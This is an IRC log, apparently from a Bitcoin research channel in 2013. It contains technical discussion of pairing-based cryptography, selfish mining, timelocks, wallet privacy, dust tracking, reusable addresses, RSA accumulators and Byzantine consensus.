16:12 < gmaxwell> amiller: In the SCIP they mention they have selected a curve with a particular efficient endomorphism, I assumed this was just distortion map optimization and would already be in pbc.
16:12 < gmaxwell> (I guess its a requirement that the curve and its quadratic twist have the same embedding degree?)
16:14 < gmaxwell> In any case, I was just musing on what the minimal cryptographic extensions to script were to achieve the widest increase in applications.
16:14 < sipa> OP_X86
16:15 < Luke-Jr> P2SH-for-SCIP would be useful
16:15 < amiller> i don't actually know any details about how pairing based crypto works, i only understand it at the bilinear map layer
16:19 < amiller> i may end up trying to learn it in a hurry and implement the pinocchio verifier myself :/
16:19 < amiller> of course for efficiency it's always hard to find the right abstraction
16:24 < amiller> https://crypto.stanford.edu/pbc/manual/ch08s08.html this are the BN curves y^2 = x^3 + b i think pinocchio uses
16:26 < gmaxwell> ah, okay, yea, I would have assumed it was though out of the ones in PBC. I still don't exactly understand how the pairing operation isn't slow as @#$@# for k=12 but apparently its not.
16:46 < amiller> the pinocchio guy said a similar thing once, that they picked a specific curve and used a lot of curve-specific implementation optimizations
16:46 < amiller> but maybe it's just this distortion map thing you're mentioning
19:44 < gmaxwell> So
perhaps this was obvious, but I realized that a sensible way to go about establishing the usefulness and correctness of a new scripting system for bitcoin is to implement it, and embed it in a harness that uses it as the controlling criteria in a signing oracle.
19:45 < gmaxwell> e.g. you take your script, hash it, compute a new public key from the oracle's well known public key. Then do things where you want the oracle to sign with that key... then go present the oracle your script and when it accepts it signs for you.
19:46 < gmaxwell> so then you could make any new application for your new bitcoin script opcodes you want, with the limitation that you depend on a trusted oracle.
19:46 < gmaxwell> But if the usefulness of the improved script is established then thats the on-ramp to making it part of the distributed system proper.
19:56 < amiller> that's a neat idea.
19:57 < amiller> that would work e.g. for zerocoin
20:04 < phantomcircuit> this is driving me insane
20:05 < phantomcircuit> i cant get the block header that cpuminer is finding from the info stratum provides
14:25 < maaku> So question for the other -wizards': are there hard-fork changes which would make identity management easier?
14:26 < maaku> s/hard-fork/hard or soft fork/
14:34 < gmaxwell> maaku: being able to prove an output was created in the chain with a smaller proof (which doesn't include a whole transaction) would be nice.
14:35 < maaku> so merkleized transactions, presumably?
14:39 < gmaxwell> yes. Then you'd probably also want lockable outputs.
14:40 < maaku> lockable meaning can't be spent for X blocks, or until block X?
15:18 < gmaxwell> Either would work for SINs, the latter is probably more generally useful... the former may be better for SINs.
16:54 < gavinandresen> High-quality thoughts on selfish mining happening here: https://bitcointalk.org/index.php?topic=327064
17:34 < MC1984> i dont know. Weve already seen we cant wholly rely on positive incentives to maximise desireable behavior (like simply making sure your mining setup is bloody working properly and keeping it so)
17:34 < MC1984> whos to say we can wholly rely on negative incentives to minimise undesireable behavior.
17:35 < MC1984> ki mean, if that were true democracy would actually work right...
17:36 < MC1984> even wholly/substantially. Especially if a rumour or urban myth goes round amongst the plebs of a way to mine more coins for free or somthing even if its actaully killing bitcoin
17:37 < maaku> hrm. SIN and namecoin are very similar mechanisms, are they not?
17:38 < gmaxwell> maaku: namecoin expects the network can do lookups for you. sin expects the user to extract a proof and provide it.
17:38 < gmaxwell> You can verify sin without speaking the bitcoin protocol at all (with some security discussion because you're "blind SPV").
18:02 < michagogo|cloud> What goes on in this channel? (found it thanks to the mailing list)
18:03 < gmaxwell> A muggle1
18:03 < gmaxwell> !
18:03 < gmaxwell> burn him!
18:03 * amiller put on his robe and wizard hat
18:03 < gmaxwell> michagogo|cloud: we talk about far out technical stuff instead of pragmatic near term bitcoin things. It's kind of a cryptonerds bitcoin-dev-offtopic.
18:04 < michagogo|cloud> Hmm, sounds interesting
18:05 < sipa> amiller: http://bash.org/?104383 ?
18:05 < maaku> stuff that's longer-term than the next release cycle
18:05 < pigeons> maaku: are you mining the -wazards for feature ideas to solve problems to add to freimarkets?
18:05 < pigeons> ;)
18:05 < amiller> bloodninja yeah ;p
18:05 < maaku> hah sometimes. that's what my question bout SIN was for
18:07 < maaku> but it's relevant since we can actually experiment with this stuff on a live network there
18:07 < michagogo|cloud> SIN/
18:07 < michagogo|cloud> s|/|?|
18:08 < maaku> michagogo|cloud: https://en.bitcoin.it/wiki/Identity_protocol_v1
18:09 < sipa> someone should write an identity protcol v2
18:09 < sipa> so we can talk about the Original SIN
18:10 * michagogo|cloud wonders if he's missing something
18:11 < amiller> "A SIN ("System Identification Number") is the unique record identifier by which this identity will be known."
18:12 < michagogo|cloud> I saw that
18:12 < michagogo|cloud> sipa: Is that a reference to something?
18:13 < maaku> michagogo|cloud: an oppressive catholic education
18:13 < maaku> http://en.wikipedia.org/wiki/Original_sin
18:14 * michagogo|cloud glances at the nick list, between kinlo and maaku
18:32 < adam3us> why do we want identities again?
18:37 < adam3us> ok skimmed bitcoin.it/.. identity_proto.. for issuer signed attestations brands is the most flexible blind signature protocol
18:38 < adam3us> there are also some protocols for serial anonymous use, where if you get banned you lose your access token, but not your anonymity
18:50 < gmaxwell> adam3us: right, for anti-trolling/spamming/etc.
18:56 < adam3us> gmaxwell: yes, the interesting thing is it turns out to be possible to be serially anonymous (as distinct from pseudonymous) while reusing a single authorization
18:57 < gmaxwell> adam3us: yea, e.g. via chaining blind signatures. Are there other ways?
18:57 < adam3us> gmaxwell: at some earlier point people supposed you could not be anonymous and yet anti-trolled
18:57 < gmaxwell> e.g. present an identiying sync, get a chaum token.. chain it forward..
18:57 < adam3us> gmaxwell: yes the actual approach was something simple like that
18:58 < gmaxwell> s/sync/sin/
--- Log closed Fri Nov 08 00:00:41 2013
--- Log opened Fri Nov 08 00:00:41 2013
06:31 < adam3us> anyone tried to figure out if ed felten is right?
06:32 < adam3us> i posed the question similarly in my comments to the selfish-miner paper authors (on bitcoin-dev): https://bitcointalk.org/index.php?topic=327064
06:33 < adam3us> wrong link http://sourceforge.net/mailarchive/message.php?msg_id=31612133
06:33 < adam3us> "It is also not clear what will happen if multiple selfish miners compete with each other. A selfish miner cooperating as a peer to increase percentage runs risk of mutual sabotage - he has to announce his private block to his co-conspirator, and the co-conspirator may publish, or collude with another non-selfish miner."
06:34 < adam3us> felten claims the answer to that q. is selfish mining is unstable so wont persist
06:35 < adam3us> (well a selfish pool composed of multiple smaller pools or powerful miners, is unstable is his claim)
10:39 < amiller> adam3us, ian michael miers sent ed an email about this
10:40 < amiller> it would be pretty straightforward for the pool operator to enforce/discourage fairweather-mining
10:40 < amiller> for example if you don't keep up the pace, you get kickedo ut
10:41 < adam3us> amiller: yes i thought it was an interesting question, and posed it also, but i am not sure ed's gut reaction is necessarily right or properly checked
10:41 < adam3us> is that public email? on a list?
10:42 < amiller> it was a private email, instigated by a public twitter conversation
11:44 < adam3us> amiller: i guess the fair-weather guy could also sell information or be in collusion with or be a larger unselfish miner; then he can switch to the previous block at random, and the selfish miner wont know which block to mine (do this reactively when the selfish miner gets ahead)
11:45 < adam3us> amiller: as soon as the selfish miner is > 1 block ahead (which happens 1/9 of the time with 33% power), the unselfish miner has already lost so he loses nothing new by this strategy
11:47 < amiller> did you switch from fairweather miner to unselfish miner?
11:48 < adam3us> amiller: no
11:48 < adam3us> amiller: fairweather is someone who attacks the selfish mining pool from within, unselfish is someone who is running the normal protocol
11:49 < adam3us> amiller: my point is the unselfish miner can sabotage the selfish mining game, and to the selfish miner he'll just look ridiculously unlucky which he will notice soon enough
11:50 < adam3us> amiller: but if he cant find anyone who wont do that to him, he cant do the attack unless he amasses 33% himself
11:50 < amiller> i have no idea what you're saying actually ;/
11:51 < amiller> you're saying fairweather miners can undetectably leak information to some other unselfsih miner?
11:52 < adam3us> amiller: correct, they can participate in the selfish mining in hashrate, but sabotage it, but it will be noticed statistically that the selfish pool is not doing as well as expected
13:30 < adam3us> seems like it could be useful to extend timelock to be a scrit function rather than a tx property so you can do before, after, ranges, and do in one tx rather than multiple interlocked tx
14:08 < gmaxwell> adam3us: the creates freaky problems where a transaction which falls out of the chain in a reorg can't be put back in.
14:10 < adam3us> gmaxwell: yes you'd have to have it confirmed (timestamped) within it validity period or you're out of luck
14:11 < gmaxwell> adam3us: not just that, it can be confirmed.. and then the chain gets reorged.. and it can never be put back.
14:11 < gmaxwell> The security of all coins decended from that one arguably reduced forever.
14:23 < adam3us> gmaxwell: well a coin reorg that excludes it is not much different to putting zero fees and not getting in the first time
14:25 < gmaxwell> adam3us: it is
because you know when its never been in. This is the same kind of fungibility problem that coins derrived from coinbase txn have, which is why they have a 100 block settling time.
14:26 < gmaxwell> I'm not saying no-never... but it has tradeoffs which make me uneasy.
14:45 < adam3us> gmaxwell: yes. maybe an addendum could be to authorize belated adding if previously confirmed in an orphan within th required block/time
14:49 < amiller> i don't get how it's different
14:49 < amiller> if the chain gets reorged, one conflicting transaction can replace the other
14:50 < amiller> everything descending from the tree is affected, if the fork goes back that far
14:50 < adam3us> amiller: he means that if its < timelock, nd the time has passed you're out of luck
14:50 < amiller> yeah
14:50 < adam3us> amiller: whereas now timelock is only > timelock so you just resend it
14:50 < amiller> it's still caveat emptor, i don't see how that should matter
14:50 < amiller> or to put it another way, if you receive a bitcoin from someone, who just received it from someone else, it's still not fungible
14:51 < adam3us> amiller: yes that is somewhat true; if a big enough reorg occured to undo 6 blocks, never mind 100 you've got other problem, you're vulnerable to full-on 51% attacks
14:52 < adam3us> amiller: but gmaxwell is right that mined blocks are treated with more suspicion in terms of confirmations at least in the qt client
14:52 < amiller> perhaps they shouldn't be?
14:53 < amiller> anyway i think coinbase maturity is a bad rule because of economic blah blah incentive-compatible but that's a dead horse
14:53 < adam3us> amiller: well there could be an argument that honest reorgs would preserve the transaction order
14:53 < amiller> honest reorgs is a weird model but sure
13:30 < adam3us> petertodd: isnt that enough
13:31 < petertodd> Right, but the issue is a 51% attack against some subset of the blockchain data.
13:31 < petertodd> Like, if other miners *didn't* build upon your part of the blockchain via timestamping, this wouldn't be a big deal.
13:33 < adam3us> petertodd: yes its another aspect of the one-true chain model (must be up to 7 dependencies by now) it ensures that once your block is burried even one block other miners have an incentive to mine it ot avoid being orphaned
13:34 < petertodd> Yup
13:34 < adam3us> petertodd: i think i had the analgous problem you are talking about with complex incentives for the "thicket" of block chains approach
13:35 < petertodd> Sure, although I think the biggest issue is just the really fundemental one about how you need to be sure the blockchain data is in the hands of more than one person.
13:35 < adam3us> petertodd: at that time i concluded it was enough alone to kill it - simplicity is good etc but this variant has additional advantages so maybe we can still get back to a net win eventually
13:36 < petertodd> Yup. Like, suppose we could make the assumption that the majority of hashing power would be mining all shards in one go, then that majority would have the data, and there'd be no issue at all. But we can't assume that.
13:36 < adam3us> petertodd: its not inherently interesting to someone to censor your shared block hash, they have to want to present a different version of it with a different spend
13:36 < adam3us> petertodd: right - thats the 7th dependency - super-entangled design when you get to all of the dependenices
13:36 < petertodd> Economically interesting no, but if their goal is to destroy the system then you're in trouble.
13:37 < adam3us> petertodd: yes, and you have defend against that
13:37 < petertodd> Yup. I dunno, maybe it's the case that fundementally you can't? But I'd sure hope you could at least do better.
13:37 < adam3us> petertodd: in my thicket thought experiment (unpublished) i was supposing some modest reward bonus for being the first to pull in a shard-hash
13:38 < petertodd> what do you mean by "pull in"?
13:38 < adam3us> petertodd: or a share of the fees in it (hash it as an input another shard hash)
13:39 < adam3us> petertodd: i think you need to have some list or merkle hash of shard-hashes so that as time-progresses each hashed block includes everything else if you explore down the tree a bit
13:40 < petertodd> See, my thought experiement is a little different: for a given committed transaction input, we should be able to calculate the total work done by all miners with that transaction input in their dataset. (assuming the pow scheme does proof-of-data)
13:40 < adam3us> petertodd: (each shard-hash includes all other shard hashes in a best effort sense, motivated by a share of the fee and/or reward)
13:41 < petertodd> Yeah, although maybe at this point it'd be better to leave reward out; I think in a inflationary system we can reward people simply by taking their coins away unless they mine in porportion to the coins they own.
13:44 < adam3us> random non-tech thought about the "what is bitcoin" virtual commodity, etc .. its a crypto/math geeks stamp collection
13:44 < petertodd> heh
13:45 < adam3us> see in hashcash in the mail context they were stamps and i have a page with a stamp collection; they are rare because they ar eexpensive, and a math/crypto/computer geek can admire and appreciate the beauty (or waste) in finding a number with 15 leading 0 hex digits so they have math aesthic value too
13:46 < adam3us> http://hashcash.org/stamps/ one of those was 48 bits eve years ago
13:46 < petertodd> yeah, bitcoin is special in figuring out how to take those stamps and assign them owners with global consensus
13:46 < petertodd> heh, meanwhile we've got, what, 68 zero sha256^2 pre-images now?
13:46 < adam3us> right; it wouldve been easy to give a hashcash a public key, just include a pub key in the hash (as bitcoin does), and i thought about it for mail apps even (prove a reputation)
13:47 < adam3us> yes
13:48 < adam3us> actually i calculated it here: https://en.bitcoin.it/wiki/Hashcash
13:48 < adam3us> its 60.6 bits right now
13:48 < adam3us> or 61.6 bits of security (there are 2 hashes per try so +1)
13:48 < adam3us> more secure than 56-bit DES :)
13:48 < petertodd> ha
13:50 < gmaxwell> adam3us: well I don't think you get to count the ^2 ... I mean, sha256 is much slower in hardware than DES and you're not counting that.
13:50 < adam3us> the guy etienne gervais wrote his own openCL hashcash-sha1 miner just to get leaderboard on that page :)
13:50 < petertodd> Interesting thought: so, in my txin commitments scheme, what you need to keep "up-to-date" with, in terms of the blockchain, is the part of the blockchain with the still un-revealed txouts that your wallet contains. IE, the important part of the txin space is still "zeroed" up until you want to spend it to someone else.
13:50 < adam3us> gmaxwell: yes it is a question of what counts as an op in O(2^n) notation grey area
13:51 < petertodd> Not brilliant, but it is a bit of a security improvement in that targetting you specifically to make your coins unspendable is hard if you keep those txouts a secret.
13:51 < adam3us> gmaxwell: if it was computing DES unlike eff des cracker which computed one des decryption in 56hrs, bitcoin network can do it in < 12 sec
13:51 < gmaxwell> you could instead use some transistor toggle metric.
13:52 < adam3us> gmaxwell: vaguely recall knuth might've had some complexity metric based on a styled pseudo assembly code :) even with cycles or instructions depends on cisc, risc etc
13:53 < gmaxwell> adam3us: art's (who you didn't get to interact with, early bitcoiner who went away) fpga mining farm could do a full des search in ~24 hours and I think that was just a 40GH bitcoin farm.
13:54 < adam3us> gmaxwell: its interesting in that des cracker was built in 1998 for $250k but if it was sha256 instead of des it'd still be respectable and maybe profitable for bitcoin i think (have to check calc)
13:55 < gmaxwell> adam3us: DES is especially weird, becaues the sboxes yield especially compact combinitorial logic.
13:55 < adam3us> it was doing 280 TDes/sec
13:55 < adam3us> for $250k
13:59 < adam3us> gmaxwell: something seems wrong
bitcoin hashrate = 3 ExaH/sec if deepcrack was 280, it'd be only 10x slower, but thats not true; yet 2^56/56/6/1000^4 = 280 hhmm (deepcrack could do 2^56 in 56hrs)
14:00 < adam3us> gmaxwell: oh bitcoin hash rate is now 4 Exah (33% increase as of a few days) jeeze
14:10 < petertodd> adam3us: suppose we ensured that mining some portion of the blockchain required the consent of the majority of the owners of the coins in that portion, do you think the data hidng problem would be sufficiently solved?
14:10 < petertodd> (ignore practical difficulties here)
14:16 < sipa> adam3us: what is Exah?
14:16 < sipa> per what time?
14:17 < sipa> it's 3.8 petahash/s
14:17 < sipa> where hash = double-sha256
15:36 < HM2> Android has improved its security further by adding support for two more cryptographic algorithms. Elliptic Curve Digital Signature Algorithm (ECDSA) support has been added to the keystore provider improving security of digital signing, applicable to scenarios such as signing of an application or a data connection. The Scrypt key derivation function is implemented
to protect the cryptographic keys used for full-disk encryption
15:36 < HM2> Android adopting Scrypt is pretty big crypto news I guess
15:40 < sipa> ooh nice
15:42 < HM2> yeah, not sure whether they make that available via the general crypto APIs
16:45 < adam3us> sipa: better that explains my error
17:19 < sipa> amiller: ?
17:19 < sipa> ah!
17:20 < amiller> haha, my phishing attack is complete
17:20 * gmaxwell is confused
17:20 < amiller> i'm approximately authenticated as adam back
17:20 < amiller> as far as sipa is concerned
17:21 < gmaxwell> Well, a people all look the same.
17:22 < sipa> my authentication scheme is based on H(nick[0])
17:42 < amiller> ugh question about colored coins again
17:42 < amiller> to determine if a txoutput has the color
17:42 < amiller> do you have to trace just a *path* through the transaction tree down to the genesis of the colored coin/
17:42 < amiller> or do you have to trace the whole tree?
17:43 < amiller> someone convinced me it was just the tree
17:43 < amiller> er just a path
17:43 < amiller> but now i think it's the entire tree, because you have to establish the color value of *every* txinput, which is then recursive
17:44 < gmaxwell> amiller: I'm not following the distinction. If you recieve a colored coin and someone tells you the respective genesises you can just connect them and ignore unrelated parts of the history.
17:44 < gmaxwell> I suspect most people flapping their lips about this stuff have never picked a random coin on the network and tried to extract its whole history.... :P
17:45 < gmaxwell> (it's pretty normal for something to be tainted against a singnificant fraction of all past transactions)
17:45 < amiller> what is the unrelated part of the history though?
17:45 < amiller> it would be nice if, for example, if i only cared about this current txout, then i have to look backwards to at most one txinput ineach transaction
17:45 < amiller> thus a linear path from the txout in question to the genesis
17:45 < gmaxwell> amiller: if you know which coins were the genesis you can trace forward and back and meet in the middle.
17:46 < gmaxwell> amiller: you only can do that if you already know the path (e.g. someone else already traced it)
17:46 < gmaxwell> if you know the genesis and the rule is setup right you can trace forward with one output per transaction.
17:46 < gmaxwell> but backwards alone is exponential.
17:47 < amiller> i don't see how to go forward with one txout per transaction
17:47 < amiller> can you recommend a link with code for this
18:15 < jgarzik> adam3us, TBH it's not just laziness. Even if my bitcoinj-based Bitcoin Wallet was [hopefully] updated to reuse addresses tomorrow, you still have a problem of address reuse being practically mandated by circumstance, in the other direction:
18:15 < adam3us> sipa: when presented with a key though
18:15 < jgarzik> miner payouts, salary payouts, etc.
18:15 < jgarzik> no good way exists to give a payment stream a set of addresses
18:15 < sipa> adam3us: they could reveal that key
18:15 < TD> lol
18:15 < TD> wallet author lazyness
18:16 < TD> adam3us: you can follow HD wallets in bitcoinj development work here: https://code.google.com/r/hearn-bitcoinj/source/list?name=keychain
18:16 < TD> as you can see lots of code has been going in for the past 6-7 weeks
18:16 < adam3us> jgarzik: yes indeed. well there is a mix of like wallets that only support one address supposedly? and then there are real problems. signature lines, biz cards, etc they are truly simpler to use and understand and in some use-cases hard to avoid!
18:16 < Luke-Jr> jgarzik: HD wallet spec has stuff for that
18:16 < TD> adam3us: design doc is here, to give you a flavour of how complicated the work is: https://code.google.com/r/hearn-bitcoinj/source/browse/designdocs/Deterministic%20wallets.txt?name=keychain
18:17 < am42> lol
18:17 < am42> guys...
18:17 < jgarzik> Luke-Jr, yes, any derivation scheme fits the use case
18:17 < adam3us> jgarzik: "no good way exists to give a payment stream a set of addresses" well like Luke-Jr said shared subwallet chain-code should work for stream
18:17 < jgarzik> as long as it is standardized
18:17 < jgarzik> and private
18:18 < jgarzik> the whole world doesn't need to track my salary
18:18 < Luke-Jr> but it's so fun! <.<
18:19 < jgarzik> I would love to find a solution for mass payouts killing privacy. the solution seems to be "send a bunch of little TXs", which is network-unfriendly.
18:19 * TD shrugs
18:19 < TD> the point of bitcoin is to move money, well
18:19 < TD> that's why we need to scale the tech
18:20 < TD> so we're not afraid of making little transactions if that's what it takes to give good privacy
18:20 < TD> adam3us: anyway if you're feeling non-lazy you're welcome to help chip in with the implementation .....
18:20 < adam3us> TD: scary looking spec there. btw relatedly petertodd was saying that bloom is not that private with default parameters
18:20 < TD> :)
18:20 < TD> yeah current bitcoinj has a default very low false positive rate and a few bugs
18:21 < TD> ways the remote node can trick you into revealing whether you own a particular key, stuff like that
18:21 < TD> we experimented with a higher FP rate in this dev cycle but it wasn't usable on 3G connections. so we need to add a notion of bandwidth modes to the API
18:21 < TD> then if we're on wifi we can ramp it up, etc
18:21 < TD> either that, or some kind of auto measurement/adaptation, but that's harder
18:21 < sipa> well, as long as bitcoinj wallets reuse addresses by default, there's little point in trying to protect privacy using bloom filters )
18:22 < TD> yeah - that's why i'm working on HD wallets at the moment and not bloom filtering :)
18:22 < adam3us> TD: still i wonder if its more private still than the prefix idea prefix leaks to all and interacts badly with existing statisical network analysis
18:22 < sipa> yeah, i know, not commenting there
18:22 < am42> guys i want to buy safe bTC wia Western Union
18:22 < am42> or MoneyGram
18:22 < TD> but as you can see from the design doc ..... well, bitcoinj wallet class got a lot of features over the years, so making sure none of them break and the upgrade is smooth, takes a lot of work
18:22 < adam3us> sipa: ha ha
18:22 < am42> how to do that safe?
18:23 < sipa> am42: not here, try #bitcoin
18:23 < wallet42> td: will bloom filters work with stealth addresses?
18:23 < adam3us> jgarzik: "I would love to find a solution for mass payouts killing privacy." this seems like a coin control issue.
18:23 < TD> i don't know. i haven't really worked through the details of ... lets call them "routing addresses
18:23 < adam3us> wallet42: i think not
18:24 < TD> but yeah there's an obvious conceptual issue there - bloom filters are intended to hide what the node should be looking for. but with stealth/routing addresses, the client doesn't know what it's looking for either, in a way
18:24 < adam3us> TD: i was suggesting unlinkable static (vs the current static aka reused).
18:24 < TD> with the payment protocol it might be different because then you don't have to find payments only via the chain
18:25 < TD> adam3us: yeah but i think "static" is jargony
18:25 < adam3us> TD: exactly. the client would have to give the node a private key to scan with. and that scanning is like heavy
18:26 < TD> if the payer submits the tx directly to the payee via bluetooth/http/other payment protocol methods that issue goes away of course
18:26 < TD> but then you have to be online
18:26 < adam3us> TD: and then i think there's no ambiguity left for bloom to work with. unless you upload a few other peoples private key also
18:26 < TD> or have a dropbox of some kind
18:26 < adam3us> TD: yes. i guess we cant or dont want to accept that as an assumption and also one or other part could get lost.
18:27 < adam3us> TD: routing address is not bad.
18:28 < adam3us> jgarzik: didnt petertodd write something called dust be gone that swept up all the tiny tracking spam payments into a corner so your wallet doesnt auto grab them? or coin control to not use them until you run out of bigger coins.
18:32 < TD> i think it paid dust outputs to miner fees
18:43 < EasyAt> I don't understand the use of these tracking outputs. Is it because if the TX is to me I will relay it, whereas if it isn't mine I'll drop it because it's dust?
18:44 < adam3us> EasyAt: apparently they send tiny payments to lots of people, then watch them be respent.
18:44 < EasyAt> Can't I just track outputs from a target address without tagging it
18:44 < adam3us> EasyAt: your wallet just grabs random inputs from whats in the wallet, "coin control" is not clever yet apparently. its like someone giving you marked pennies.
18:45 < adam3us> EasyAt: well not if someone is not reusing addresses so much.
18:45 < EasyAt> Yea, but once they target my address they can just watch all outputs and the chain of TXs following?
18:46 < maaku> EasyAt: these addresses are one-use only
18:46 < adam3us> EasyAt: i guess you could say its a way to force someone to reuse an address against their wish... send them unsolicited dust to their address.
18:46 < maaku> oh n/m
18:47 < sipa> i really prefer a model where you have to ask for every transaction you have to send first
18:47 < sipa> but it seems the bitcoin economy hasn't evolved that way
18:47 < adam3us> EasyAt: your wallet contains like 100 addresses and the wallet tries to not reuse them. so they know this particular address is yours for some reason. maybe the point is the dust payment is to the same address, and may get used in a different payment (even tho its the same address its a different txout)
18:48 < EasyAt> adam3us: Is it in the hopes that you will spend the dust with another output from a different address, thus leaking some info?
18:49 < adam3us> EasyAt: its not automatic that all payments from the same address would go in the same payment. its not balanced based so each txout is spent separately. if they see one of those dust payments respent with an address of yours they didnt know was yours, they do now
18:49 < adam3us> EasyAt: but i dont know who would care enough to waste btc dust to find out really. maybe some academics doing analysis or something?
18:50 < EasyAt> adam3us: Indeed, I follow you
18:50 < EasyAt> tainting people
18:50 < EasyAt> Or address grouping, I suppose
18:51 < EasyAt> sipa: In your model I would need permission from the receiver?
18:52 < adam3us> EasyAt: yes probably the latter. yes his model is that and would work, in an older version there was sent via IP which could've been more perission based as there was an interactive link anyway
18:53 < EasyAt> Interesting, thank your for the input
18:54 < adam3us> in an ideal world we'd have better privacy so people could send you small payments and it wouldnt matter.
18:55 < sipa> EasyAt: i would like that yes
18:55 < sipa> EasyAt: that you could not send coins without permission from the receiver
18:56 < EasyAt> How would cold wallets receive funds in that case
18:56 < sipa> nothing prevents it from being presigned
18:57 < EasyAt> Hm, then wouldn't I need prior knowledge of the TX? How about a cold wallet used for donations?
19:00 < adam3us> EasyAt: maybe there could be a separate key for permission to send sig than for spending. (like the chain-code being in an online computer and the private key in the offline)
19:01 < adam3us> sipa: it would also solve address reuse. new address on each signed payment permission
19:03 < EasyAt> Or, maybe a way to publish a ruleset in the blockchain for acceptable payments to an address
19:04 < EasyAt> Though, by doing so I am giving up my pubkey... I think
19:04 < EasyAt> Well, I can't think of a way not to give it up
19:05 < sipa> adam3us: well, it's exactly what the payment protocol intends to bring back
19:09 < adam3us> sipa: yes.
19:21 < jcrubino> was a rename decided for stealth addresses? I would like to propose "quiet addresses" or "silent address"
19:23 < adam3us> jcrubino: i think we have a winner from jeremy spilman "reusuable address"
19:23 < jcrubino> sounds good
19:23 < gmaxwell> I like reusable address.
19:24 < maaku> very nice
19:25 < adam3us> gmaxwell: yea me too. i am not sure of the level of enthusiasm for this all being a done deal tho "I have high hopes for this feature. The war *against* address reuse may soon be a distant memory." (Jeremy on bitcoin-dev list)
19:25 < adam3us> gmaxwell: seems to me there is a big open question about SPV compatibility.
12:15 < adam3us> hm2: then everyone is a user (who uses it) but zerocoin is slow, bloated coins, and only one denomination (imagine paying $10k in 1c coins)
12:16 < HM2> i'm sure sipa could cook up something with hash trees
12:16 < adam3us> hm2: if you can follow chameleon hash argument u could grok it
12:16 < HM2> everything in bitcoin is solvable with another tree of hashes
12:16 < sipa> HM2: gmaxwell and petertodd are far more experts at using hashes for everything :)
12:16 < adam3us> hm2: funny u should say that committed transactions potentially hide a lot from the public are also just hashes
12:17 * sipa just implements
12:17 < adam3us> hm2: a different privacy model, where the only people who see who is paying who and how much are the people in the history of the payment (not the public at large)
12:21 < HM2> sipa, it's better for your sanity i'm sure
12:26 < adam3us> someone who knows something about hashes, trees, and tries ought to do something about bitcoin scalability; something concrete like a bip and an implementation
12:27 < adam3us> if bitcoin doesnt scale people will do something stupid offchain eg centralized micropayments with trust me bitcoin backing and when dust reaches $10k all bitcoin transactions will be offchain
12:27 < adam3us> that would be a very rubbish end to bitcoin ecash
12:33 < adam3us> you've got to wonder if accumulators could help also rather than trees, gives a kind of commutative hash tree so it can be rebalanced without changing the root hash
12:35 < sipa> hash(sort([h0,h1]))
12:36 < sipa> ha:
12:36 < adam3us> sipa: thats the effect you'd get but without the sort implication of needing the serializations available
12:36 < sipa> Please remember - don't hoard TestNet coins or try to sell them. TestNet coins are worthless, but useful. They are useful because they are worthless. If you will add value to them, they will be useless, therefore worthless.
12:37 < adam3us> sipa: lol
12:37 < sipa> (from tpfaucet.appspot.com)
12:37 < adam3us> sipa: a(h1,h2)=a(h2,h1) and a(h1,a(h2,h3)) = a(a(h1,h2),h3) etc
12:38 < adam3us> sipa: and what more you can prove hn is in the tree in O(1) space and work rather than O(log2(n)), thats the real bonus
12:38 < sipa> over my head :)
12:39 < sipa> anyone has a testnet address and wants some coins? i need a test
12:39 < HM2> i wonder if anyones managed to trick anyone in to buying testnet coins thinking they're mainnet coins
12:41 < adam3us> sipa: its simple really; just a=g^h1 mod n and to add another hash a2=a^h2 = g^(h1*h2) and repeat user2 can keep g^(h1*h3) (ie with h2 missing) then user 2 proves he's in the accumulator by showing A'=g^(h1*h3)^h2 == A ie A'^h2 = A
12:41 < sipa> oh
12:41 < adam3us> sipa: it only works because its in an RSA group so you cant compute 1/h1 its mod phi(n) which no one knows
12:41 < HM2> except bruce schneier
12:41 < sipa> got it
12:42 < K1773R> sipa: mz1iravK75FhNCyinytJhNCVqxmhFddohn
12:42 < sipa> bruce schneier can recite pi backwards
12:42 < HM2> ;)
12:42 < adam3us> hm2: is this the bruce schneier = crypto chuck norris meme :)
12:42 < adam3us> hm2: he does look a bit like norris
12:43 < HM2> except politically more agreeable
13:03 < adam3us> amiller: about byzantine general and Aspnes et al "exposing computationally challenged byzantine impostors" it occurs to me that bitcoin should not actually need to quite solve the byzantine general problem
13:04 < adam3us> amiller: because you dont really care which tx is first from a set of double spends, just that one is chosen, even at random; maybe that leaves some scope for improvement over the general version of the problem where they actually want to know the correct answer
13:18 < maaku> adam3us: i'm working on the hash-trie thing
13:18 < maaku> and yes, we need it for scalability, especially an address/script indexed tree
13:19 < sipa> that makes non-anonymous non-validating wallets that only maintain a balance and no transaction history indeed scale easily
13:21 < sipa> and with an txid-indexed index, allows validating clients to skip replaying history, assuming they trust it in an SPV way
13:24 < maaku> well, they can validate backwards from the current set, allowing a choice of security in the spectrum between SPV+ and full
13:25 < sipa> if undo data is available over the network, yes
13:27 < amiller> adam3us, so yeah the standard byzantine consensus requires a property like Unanimity, which says the thing chosen is the *one everyone wants* in some sense, but there are a variety of different options people commonly use
13:27 < amiller> one is that it only matters if everyone begins wanting the same thing
13:27 < amiller> another is that it only matters if there are no faults and everyone is honest
13:27 < amiller> another is that the chosen one with high probability has to be close to the plurality
13:28 < amiller> what it means for bitcoin is that if you allow the adversary to always influence the block
13:28 < amiller> a block with no tx's in it is a valid block
13:28 < amiller> so just consensus without some unanimity-like condition would mean you couldn't get a transaction included
13:28 < amiller> something that's bugging me is this concept of, what if you had a transaction that could only be accepted on an even 1000th block
13:29 < amiller> should bitcoin guarantee that you'll get it in quickly?
13:29 < amiller> if the (sub-50%) attacker gets to influence one out of a thousand blocks like that then it could keep that pathological transaction from even getting in
13:54 < maaku> sipa: I suggest commitment of undo blocks in addition to hash roots
13:54 < maaku> and, eventually, some way of querying that data over the network
14:05 < maaku> amiller: I would think that pathological case is the user's fault
14:10 < adam3us> amiller: so what about if the vote is just which transaction is included not whether a tx is included
14:11 < amiller> well there's that edge case where like, you basically can never prove someone *didn't* hear something
14:11 < adam3us> amiller: eg you mine on your own public key to gain voting rights and reward (as a miner) then you exercise those voting rights to say which transactions u like and if there are any dups the highest or th elowest wins
14:11 < amiller> so bitcoin's design is very tolerant of miners pretending they didn't hear a transaction
14:11 < amiller> you never get misbehavior for ignoring a message or playing dumb and not being aware of a tx, etc
14:12 < adam3us> amiller: yes but if the vote is which you like or prefer if there is a dup, an absense of a vote is an abstention, not a dislike
14:12 < adam3us> amiller: attackers can abstain all they like (in fact they're encouraged to)
14:13 < amiller> well if everyone includes all the transactions they've heard...
14:13 < amiller> i dunno, this is tricky, but basically even in the reference client there's miner policy about which valid transactions to include, sort by fee/priority etc
